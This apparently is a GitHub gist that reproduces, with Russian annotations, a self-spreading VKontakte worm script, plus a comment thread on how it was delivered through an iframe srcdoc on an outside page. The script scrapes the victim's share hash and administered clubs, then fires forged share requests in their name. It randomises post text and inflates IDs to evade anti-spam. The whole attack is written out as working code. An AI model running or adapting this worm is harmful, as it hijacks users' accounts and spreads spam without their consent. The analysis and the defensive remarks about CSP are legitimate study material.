-
-
Save Amaimersion/a57cfef67c24933a641b4ea8eb503e7e to your computer and use it in GitHub Desktop.
/** | |
* Текст поста. | |
*/ | |
var news_text = [ | |
"Всё меньше причин оставаться ВК.. Ждем пока mail group окончательно загонят сайт в яму и переходим на telegram", | |
"Дурову пора создавать новый вконтакте, этот уже испортили", | |
"Прости, Паша, мы все прое*али", | |
"Ну это уже ни в какие рамки", | |
"ВКонтакте окончательно загнулись", | |
"Мда, меилру продолжает губить все, к чему прикасается", | |
"Это пи*дец, товарищи", | |
"Раньше было лучше", | |
"стало очень неудобно", | |
"лучше бы делом занялись", | |
"я просто в шоке", | |
"без комментариев", | |
"Как же достали со своими обновлениями", | |
"Фуфло полное ,не трогайте сообщения!", | |
"сначала музыка, теперь ЭТО", | |
"С такими говновведениями, что тут бодяжат последнее время, со всякими дебильными ветоШными комментами, тупыми закладками, невидимыми репостами и т.д., все и так сбегут скоро" | |
]; | |
/** | |
* Название ссылки, которая будет в посте. | |
*/ | |
var news_link_text = [ | |
"Социальная сеть ВKонтакте зaпустила реклaму в личных сообщенияx пользоватeлей", | |
"СМИ: ВКонтакте запустили pекламу в личных соoбщениях", | |
"ВКонтакте запустили рекламу в сообщениях", | |
"ВКонтакте появилась реклама в сообщениях", | |
"ВКонтакте ввели рекламу в сообщениях", | |
"ВКонтакте тестирует рекламу в личныx сообщениях", | |
"ВКонтакте представили рекламу в личных сообщениях", | |
"Реклaма в личных сoобщениях появилась ВКонтакте", | |
"Пользователей BКонтакте взбесила реклама в личных сообщениях", | |
"Пользователи ВКонтакте протестуют против рекламы в личных сообщениях", | |
"Реклама в личных сообщениях вывела из себя пользователей ВКонтакте", | |
"ВКонтакте: мы запускаем рекламу в личных сообщениях", | |
"ВКонтакте: теперь рекламодатели могут размещать рекламу в сообщениях пользователей", | |
"ВКонтакте прокомментировали жалобы пользoвателей на рекламy в сообщeниях", | |
"Пользователи ВКонтакте в ярости из-за рекламы в личных сообщениях", | |
"Пользователи бегут из социальной сети ВКонтакте из-за рекламы в личных сообщениях" | |
]; | |
/** | |
* Отправка URL через HTTPRequest. | |
*/ | |
function send_URL(url) { | |
var b = new XMLHttpRequest; | |
b.open("GET", url); | |
b.send(); | |
} | |
/** | |
* Создаем URL API-метода "поделиться" от лица пользователя. | |
*/ | |
function create_share_url(user_hash, club_address) { | |
return ( | |
"https://vk.com/share.php?act=a_submit&al=1" + | |
"&hash=" + // уникальный хэш пользователя. | |
user_hash + | |
"&photo_id=" + | |
io(456239755) + | |
"&photo_owner_id=" + | |
io(484644478) + | |
"&share_comment=" + // текст поста. | |
encodeURIComponent(change_text(random_element(news_text))) + | |
"&title=" + // текст ссылки. | |
encodeURIComponent(random_element(news_link_text)) + | |
(club_address ? "&to=" + club_address + "" : "") + // админы клубов репостят в свои клубы. | |
"&url=" + // куда ведет ссылка. | |
encodeURIComponent( | |
"https://vk.com/public" + | |
io(22822305) + | |
"?w=article727491309_905121871&_fm=" + | |
(Math.random() * 100) | |
) | |
); | |
} | |
/** | |
* "rzhaka: это int overflow для частичного обхода антиспама". | |
*/ | |
function io(number) { | |
return 4294967296 * Math.floor(1e6 * Math.random()) + number; | |
} | |
/** | |
* Выбор рандомного элемента из массива. | |
*/ | |
function random_element(array) { | |
return array[Math.floor(Math.random() * array.length)]; | |
} | |
/** | |
* Что-то делает со строкой. | |
* Скорее всего рандомно заменяет некоторые символы исходного текста на другие, чтобы избежать автоматического удаления поста. | |
*/ | |
function change_text(text) { | |
let symbols = { | |
а: ["я", "a"], | |
о: ["а", "a", "o", "0"], | |
я: ["е", "а", "е", "a"], | |
и: ["ы"], | |
ы: ["и"], | |
ъ: ["ь"], | |
ь: ["ъ"], | |
д: ["т"] | |
}; | |
for (let i = 0; i < text.length; i++) { | |
( | |
null != symbols[text[i]] && | |
.3 > Math.random() && | |
(text = text.replaceAt(i, symbols[text[i]][Math.floor(Math.random() * symbols[text[i]].length)])) | |
); | |
} | |
return text; | |
} | |
/** | |
* Изменяем поведение обычного `replaceAt()`. | |
* | |
* - это нужно только для `change_text()`. | |
*/ | |
String.prototype.replaceAt = function(c, a) { | |
return this.substr(0, c) + a + this.substr(c + a.length); | |
}; | |
var share_method = new XMLHttpRequest; | |
share_method.open("GET", "share.php"); // метод "поделиться". | |
share_method.send(); // отправляем запрос ВК. | |
share_method.onload = function() { // получаем ответ (типа text/html) от ВК вместе со всей приватной(?) инфой. | |
var clubs = JSON.parse( | |
share_method.responseText.match( | |
/clubs: (.*?),\n/ | |
)[1] | |
); // доступные клубы. | |
var hash = share_method.responseText.match( | |
/window.shareHash = \'(.*?)\';/ | |
)[1]; // уникальный хэш пользователя для "поделиться"? | |
clubs.forEach(function(club) { // админы репостят в свои клубы. | |
send_URL(create_share_url(hash, club[0])); | |
}); | |
send_URL(create_share_url(hash, 0)); // пользователь репостит себе. | |
}; |
Слабо. Не объясняется зачем ссылка в create_share_url генерится именно так, а конкретно что происходит с айдишниками и зачем. И самое главное, чем завлекал сюда из issue в оригинальном репозитории - описание уязвимости. Её нет. Понятно как выполняется код, но не понятно как удалось заставить его выполнится.
int overflow
обхода антиспамаИнтересно. А разве ВК в таком случае не отвергнет запрос и не отправит в ответ ошибку? Ведь ID фото не найдено и видно, что оно не валидно. Как это работает?
Он эти большие айдишники ощущает как обычные маленькие. Причём большие могут различаться - но обрабатываться они будут корректно и под этими айдишниками будут реальные записи. Функция io и занимается генерированием таких айдишников.
Скорее всего это просто одна из попыток не спалиться на антиспаме. Типо айдишники разные вводятся
Слабо. Не объясняется зачем ссылка в create_share_url генерится именно так, а конкретно что происходит с айдишниками и зачем. И самое главное, чем завлекал сюда из issue в оригинальном репозитории - описание уязвимости. Её нет. Понятно как выполняется код, но не понятно как удалось заставить его выполнится.
Тут скорее всего задействовали уязвимости на двух сервисах: на LiveJournal чтобы вставить этот скрипт, и Instant Preview ВКонтакте чтобы этот скрипт выполнить. А вообще лучше нажимать на подозрительных ссылках "Открыть ссылку в окне в режиме инкогнито", тогда XSRF-токен точно не утечёт.
зачем ссылка в create_share_url генерится именно так
А разве из самой ссылки не понятно? Там даже подписано: какие аргументы вставляются и для чего они служат.
hash
– уникальный хэш пользователя;photo_id
,photo_owner_id
– ID фото, которые будут использоваться;share_comment
,title
– тексты для поста;to
(только для админов сообществ) – репост в группу с таким-то адресом;url
– на какой URL ведет эта ссылка. Этот URL откроет пользователь; откроется сторонняя страница; запустится этот код.
Это обычная эмуляция пользователя. Как если бы пользователь нажал на кнопку "Поделиться", frontend сгенерировал бы эту ссылку (что-то вроде API-метода) и отправил бы на выполнение backend.
а конкретно что происходит с айдишниками и зачем.
А это я не понял. Думал, что это рандомные значения ID для разных фотографий, но @rzhaka и ты уже объяснили, что это обход антиспама.
описание уязвимости
ВК на frontend присылает мой хэш, который может использоваться для репостов (видимо, нигде больше); присылает все адреса клубов, в которых я администратор; присылает много другой инфы (не сильно критичной, но все же), чтобы все это обрабатывать не на backend, а на frontend пользователя; ВК не контролирует частоту запросов: из кода видно, что там не было никаких пауз, а значит, что запросы делались практическо одновременно (с разницей в несколько мс.). Очевидно, что обычный человек при всем желании так сделать не сможет; как-то чудно (ИМХО) обрабатываются большие ID.
Ну а вообще, так можно написать свой собственный (адаптация под массы не будет легкой) мини-клиент или расширение для браузера, который(ое) автоматизирует эти рутинные задачи. Насколько я знаю, ВК не особо любит такое.
как удалось заставить его выполнится
URL перенаправлял на LiveInternet (определенная страница, которая была создана заранее), а там был встроен элемент iframe с src на YouTube (https://youtube.com/embed/1) и srcdoc с inline HTML. Если браузер поддерживает srcdoc, то загружается srcdoc, а не src. Далее браузер рендерит srcdoc (а он никак не валидировался) и HTML-код, который содержится в srcdoc, начинается выполняться. Этот HTML содержит только скрипт, который создает HTML-элемент script, устанавливает его src уже на этот скрипт и прикрепляет его в head. Ну а далее этот скрипт загружается и запускается.
Причем пользователь даже не замечает всего этого, ведь все это делается очень быстро и без всяческих намеков. Он просто видит, что перешел на какую-то другую (за пределы ВК) страницу. А когда возвращается к себе в загон, то обнаруживает, что от его имени были сделаны репосты. Ну а далее уже цепная реакция.
Это мое добавление к @45Green
Чушь, на самом деле. Грамотно настроенная CSP (Content Security Policy) и шанса не дала бы такому.
Он эти большие айдишники ощущает как обычные маленькие.
Интересно. Но зачем такая логика? Почему на это не хотят выбрасывать ошибку?
@rzhaka
Интересно. А разве ВК в таком случае не отвергнет запрос и не отправит в ответ ошибку? Ведь ID фото не найдено и видно, что оно не валидно. Как это работает?